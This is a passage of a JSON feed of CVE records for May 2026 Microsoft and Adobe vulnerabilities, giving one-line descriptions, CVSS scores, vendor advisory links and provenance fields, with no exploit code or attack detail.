fixes.","publishedAt":"2026-05-12T18:17:14.543Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40358","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40358","type":"primary","publishedAt":"2026-05-12T18:17:14.543Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40357","cveId":"CVE-2026-40357","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:14.413Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40357","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40357","type":"primary","publishedAt":"2026-05-12T18:17:14.413Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35439","cveId":"CVE-2026-35439","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:14.153Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35439","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35439","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35439","type":"primary","publishedAt":"2026-05-12T18:17:14.153Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35438","cveId":"CVE-2026-35438","aliases":[],"kind":"vulnerability","title":"Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.","summary":"Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.","detail":"Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:14.030Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"windows admin center","stacks":["Microsoft Windows","windows admin center"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35438","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35438","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35438","type":"primary","publishedAt":"2026-05-12T18:17:14.030Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35436","cveId":"CVE-2026-35436","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:13.903Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35436","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35436","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35436","type":"primary","publishedAt":"2026-05-12T18:17:13.903Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35433","cveId":"CVE-2026-35433","aliases":[],"kind":"vulnerability","title":"Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally.","summary":"Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally.","detail":"Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:13.710Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":".net framework","stacks":[".NET",".net framework"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35433","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35433","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35433","type":"primary","publishedAt":"2026-05-12T18:17:13.710Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35420","cveId":"CVE-2026-35420","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:12.557Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2012","stacks":["Microsoft Windows","windows server 2012"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35420","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35420","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35420","type":"primary","publishedAt":"2026-05-12T18:17:12.557Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34687","cveId":"CVE-2026-34687","aliases":[],"kind":"vulnerability","title":"Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the...","summary":"Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:11.630Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"illustrator","stacks":["Adobe","illustrator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34687","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34687","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34687","type":"primary","publishedAt":"2026-05-12T18:17:11.630Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/illustrator/apsb26-51.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34676","cveId":"CVE-2026-34676","aliases":[],"kind":"vulnerability","title":"Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:11.510Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"substance 3d painter","stacks":["Adobe","substance 3d painter"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34676","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34676","type":"primary","publishedAt":"2026-05-12T18:17:11.510Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34675","cveId":"CVE-2026-34675","aliases":[],"kind":"vulnerability","title":"Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Painter versions 12.0.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:11.387Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"substance 3d painter","stacks":["Adobe","substance 3d painter"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34675","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34675","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34675","type":"primary","publishedAt":"2026-05-12T18:17:11.387Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34644","cveId":"CVE-2026-34644","aliases":[],"kind":"vulnerability","title":"After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the...","summary":"After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"After Effects versions 26.0, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:10.840Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"after effects","stacks":["Adobe","after effects"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34644","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34644","type":"primary","publishedAt":"2026-05-12T18:17:10.840Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/after_effects/apsb26-48.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34643","cveId":"CVE-2026-34643","aliases":[],"kind":"vulnerability","title":"After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"After Effects versions 26.0, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:10.707Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"after effects","stacks":["Adobe","after effects"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34643","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34643","type":"primary","publishedAt":"2026-05-12T18:17:10.707Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/after_effects/apsb26-48.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34642","cveId":"CVE-2026-34642","aliases":[],"kind":"vulnerability","title":"After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the...","summary":"After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"After Effects versions 26.0, 25.6.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:10.583Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"after effects","stacks":["Adobe","after effects"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34642","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34642","type":"primary","publishedAt":"2026-05-12T18:17:10.583Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/after_effects/apsb26-48.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34639","cveId":"CVE-2026-34639","aliases":[],"kind":"vulnerability","title":"Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...","summary":"Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:10.320Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"media encoder","stacks":["Adobe","media encoder"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34639","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 